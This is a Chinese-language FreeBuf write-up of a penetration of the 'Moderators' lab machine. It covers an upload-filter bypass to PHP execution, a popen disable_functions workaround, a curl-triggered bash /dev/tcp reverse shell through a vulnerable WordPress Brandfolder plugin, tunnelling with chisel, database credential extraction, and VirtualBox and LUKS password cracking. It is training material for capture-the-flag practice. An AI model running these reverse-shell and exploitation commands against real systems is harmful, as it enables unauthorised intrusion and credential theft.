freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

实战打靶之Moderators
2022-11-23 15:45:29
所属地 北京

信息收集

端口扫描

使用nmap进行端口探测,发现其开放了22和80端口。

1669188373_637dcb1584d32388e3539.png!small?1669188374449

web网页

没有发现可以利用的东西,就去看看web网页。

1669188384_637dcb203418ba31ad4ab.png!small?1669188385389

发现该站点适用于某种托管服务/漏洞评估提供商。

1669188493_637dcb8d8341517cd39b2.png!small?1669188494556

发现有一些漏洞的测试报告。

1669188594_637dcbf27a29b9198a059.png!small?1669188595348

报告里面包含了主机地址、漏洞类型等。

1669188630_637dcc169f4ff68d26356.png!small?1669188631482

目录爆破

接着使用feroxbuster对该站点进行目录fuzz。发现存在/logs目录。

1669188640_637dcc20cb95b8ab52c53.png!small?1669188641756

漏洞利用

发现report后面对应的都是报告的id值。

1669188649_637dcc29beac95441cc71.png!small?1669188650588

Wfuzz工具的使用

接着使用wfuzz对id进行fuzz,它找到了六个,其中三个我还不知道。

1669188658_637dcc32e96a03f1a7d28.png!small?1669188659840

查找报告

接着使用feroxbuster,对/logs/e21cece511f43a5cb18d4932429915ed/继续fuzz

1669188667_637dcc3b4ce8fd28d5ed1.png!small?1669188668150

访问id为9798的报告看看。1669188675_637dcc43aeeeb87deeb50.png!small?1669188676515

然后查看一下logs.pdf,没发现可以利用的内容。

1669188686_637dcc4ee0c51cc42f2b0.png!small?1669188687659

md5解密一下看看。

1669188718_637dcc6edc75a7892c76a.png!small?1669188719849

使用wfuzz对id_hashs进行fuzz

接着将获取到的存在的报告,对其id生成md5的hash,继续使用wfuzz进行fuzz。

1669188726_637dcc768c782ef5f5956.png!small?1669188727472

都查看一下,发现存在一个上传接口。

1669188763_637dcc9bb538953befcef.png!small?16691887645821669188849_637dccf18abbbc05a3cc5.png!small?1669188850393文件上传漏洞

发现一个上传接口。

1669188855_637dccf7c4c479b8fe6c8.png!small?1669188856538

尝试进行漏洞利用。

1669188861_637dccfdefb84d16a72a0.png!small?1669188862879

提交文件的名称是“pdfFile”。

文件上传的过滤器

服务器上的某些东西拒绝了我的图像,因为它不是 PDF。服务器通常会通过三种方式进行这些检查,具体如下:

  • 表单提交中的MIME 类型 ( Content-Type);
  • 文件开头的魔术字节(file命令如何工作);
  • 和文件扩展名。

根据https://en.wiki/pedia.org/wiki/List_of_file_signatures,PDF 以五个字节开头%PDF-。这很容易在文件的开头添加。我将filename参数更改为z.pdf.

1669188874_637dcd0ab8b4d55623ce1.png!small?1669188875613

文件上传bypass

通过修改文件名、Content-Type、和文件开头的魔术字节。成功绕过文件上传的限制。

1669188882_637dcd121d208c3264841.png!small?1669188882986

将其文件后缀名改为.php,成功上传文件。

1669188890_637dcd1abc961576f1f1b.png!small?1669188891624

访问一下看看,成功获取到文件内容。

1669188899_637dcd23204975d878589.png!small?1669188899799

接着写入phpinfo();成功上传。1669188910_637dcd2e0ebc779deff8f.png!small?1669188910892

成功访问到phpinfo文件。

1669188936_637dcd48c34a9227b166a.png!small?1669188937672

然后查看其disable_functions.发现大多数执行命令的函数都被禁用。

1669188947_637dcd5327dbd8529ee81.png!small?1669188948014

对disable_functions进行Bypass

推荐工具:https://github.com/TarlogicSecurity/Chankro

<?php
error_reporting(E_ALL);

/* Add redirection so we can get stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

利用popen函数对disable_functions进行绕过。成功执行命令。

1669188956_637dcd5c9ba7208955edf.png!small?1669188957471

命令执行漏洞

1669188963_637dcd63e52f151e33051.png!small?1669188964701

权限提升

反弹shell

接着使用curl进行反弹shell。

1669188971_637dcd6b454331b97dcdb.png!small?1669188972067

使用nc进行监听

1669188979_637dcd7363283aad32644.png!small?1669188980380

成功获取到shell。

查找其他站点

netstat显示了一些在 localhost 上侦听的服务:

1669188987_637dcd7b8677b8829bbee.png!small?1669188988424

使用curl确认它是另一个网络服务器。

1669188994_637dcd8258cfaa67c9edb.png!small?1669188995256

Wordpres网站

搭建隧道

接着使用chisel建立隧道。

./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks

1669189002_637dcd8a04dfe1ed40562.png!small?1669189002892

查看其进程。

1669189011_637dcd939a45dda500d3d.png!small?1669189012339

进入/opt/new.site:发现一些文件。

1669189021_637dcd9d77e32b71e0867.png!small?1669189022409
1669189027_637dcda3787773f8b0daa.png!small?1669189028371

Brandfolder 漏洞利用

1669189036_637dcdac317f495dde847.png!small?1669189037161

在exploitdb找到了漏洞利用脚本。

1669189045_637dcdb5d48e0ad33516e.png!small?16691890467851669189073_637dcdd1522d627d6c780.png!small?1669189074219

使用curl触发漏洞。

curl '127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.17.140/5444+0>%261"'

1669189082_637dcdda3d2a1acfe088c.png!small?1669189082981

成功获取到lexi到shell。

获取user.txt

接着翻到了user.txt文件。

1669189091_637dcde335d7dde25fc89.png!small?1669189092029

SSH远程登录

接着使用ssh到ID_rsa登录lexi用户。

1669189100_637dcdec04b1c2085b27f.png!small?1669189100996

源码分析

在插件的根目录下,有一个pwds-manager.php文件。在该文件中,有一个pms_db_install用于设置数据库的函数:

/*
        **Create Datatable for plugin  activation
        */
        if ( ! function_exists('pms_db_install') ){
                function pms_db_install() {
                        global $wpdb;

                        /*
                        **create pms_category datatable
                        */
                        $table_name = $wpdb->prefix . 'pms_category';
                        $sql = "CREATE TABLE $table_name (
                                id int(11) NOT NULL AUTO_INCREMENT,
                                category varchar(55) DEFAULT '' NOT NULL,
                                PRIMARY KEY  (id)
                        )ENGINE=InnoDB DEFAULT CHARSET=latin1";
                        require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
                        dbDelta( $sql );
                        $result =       $wpdb->insert(
                                $table_name,
                                array('category' =>'Uncategorized',) ,
                                array('%s')
                        );

                        /*
                        **create pms_passwords datatable
                        */
                        $table_name = $wpdb->prefix . 'pms_passwords';
                        $sql1 = "CREATE TABLE $table_name (
                                pass_id int(11) NOT NULL AUTO_INCREMENT,
                                user_name varchar(200) NOT NULL,
                                user_email varchar(200) NOT NULL,
                                user_password longtext NOT NULL,
                                category_id int(11) NOT NULL,
                                note text CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
                                url longtext NOT NULL,
                                PRIMARY KEY  (pass_id)
                        )ENGINE=InnoDB DEFAULT CHARSET=latin1";
                        dbDelta( $sql1 );
                }
                 register_activation_hook( __FILE__, 'pms_db_install' );
        }

MYSQL登录

使用mysql -u wordpressuser -p'wordpresspassword123!!' wordpress进行登录mysql数据库。

show tables;查看其表。

1669189112_637dcdf80c7245957fa1a.png!small?1669189112983

使用select user_name,user_email,urlfromwp_pms_passwords;查看数据库的用户和密码。

1669189118_637dcdfebc26f350e78ad.png!small?1669189119640

使用select user_name,user_passwordfromwp_pms_passwords;查找ssh密钥。

1669189127_637dce073b83dde1dcbcf.png!small?1669189128230

接着查询pms_encrypt_key。

1669189134_637dce0ed58b5741e9978.png!small?1669189136018

SSH端口转发

然后配置DB的host代理到本地

1669189143_637dce177f6451b8445f7.png!small?1669189144409

查找数据库的登录用户和密码。

1669189150_637dce1e8b1b2f4acdc83.png!small?1669189151571

接着使用这个网站生成wordpress的新密码。

https://www.useotools.com/es/wordpress-password-hash-generator/

1669189172_637dce347e25a4661d473.png!small?1669189173754

更新数据库配置。

UPDATE `wp_users` SET `user_pass` = '$P$BqTMH6f2/YJmGLjPetfgm3MnNewMhS1' WHERE user_login = your_user_name

登录wordpress

接着在本地登录wordpress

1669189181_637dce3dd55815d6bed54.png!small?1669189182635

然后访问/wp-admin,发现了ssh的key。

1669189191_637dce4762e6c80fb01ce.png!small?1669189192423

远程登录ssh

接着继续使用新发现的id_rsa,登录ssh。

1669189199_637dce4f0d65feb5ee546.png!small?1669189199832

登录之后,发现有一些脚步文件。

1669189206_637dce5626ef8a036649b.png!small?1669189206982

进入/stuff,发现一些文件。发现了.vbox文件。

1669189214_637dce5ea35d9797fc459.png!small?1669189215726

破解VirtualBox 加密

接着使用https://github.com/axcheron/pyvboxdie-cracker,破解其加密。

使用scp将其下载到本地机器中。

1669189221_637dce6582d6664db9f3c.png!small?1669189222250

然后使用cracker.py进行破解。其登录密码为computer

1669189228_637dce6c9d64efdd360d5.png!small?1669189229535

本地搭建靶机

然后在本地搭建环境。

1669189236_637dce74ceb7c021c3594.png!small?1669189237681

进入启动界面。

1669189245_637dce7d4786769379fc2.png!small?1669189246328

输入computer密码。成功开机。

1669189256_637dce880890dee68c1d4.png!small?1669189257820

爆破磁盘密码

接着打开终端,然后映射磁盘文件到本地机器。

然后爆破出磁盘密码为abc123

ubuntu@ubuntu:~$ ./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda
Password found: abc123
ubuntu@ubuntu:~$

负载驱动

接着通过grep去检查这些root文件。

grep -r pass .

1669189265_637dce91d3706ada25373.png!small?1669189266640

在all-in-one/distro_update.sh中,有一个密码:

./all-in-one/distro_update.sh:passwd='$_THE_best_Sysadmin_Ever_'

然后使用sudo -l 登录root

1669189276_637dce9c5faa7a9611d4a.png!small?1669189277441

获取root.txt

最后成功找到了root.txt

1669189284_637dcea454ff00d6b9c5b.png!small?1669189285263

总结

该靶机为困难模式的靶机,靶机涵盖了大量知识点和一些新奇的工具使用。涵盖了文件上传、命令执行及对文件上传的bypass、绕过php_disbale_function等、还包含了wordpress的漏洞利用、破解VirtualBOX虚拟机的加密、爆破磁盘密码等。建议感兴趣的同学也可以尝试一下。

# 渗透测试 # web安全 # 系统安全 # 数据安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录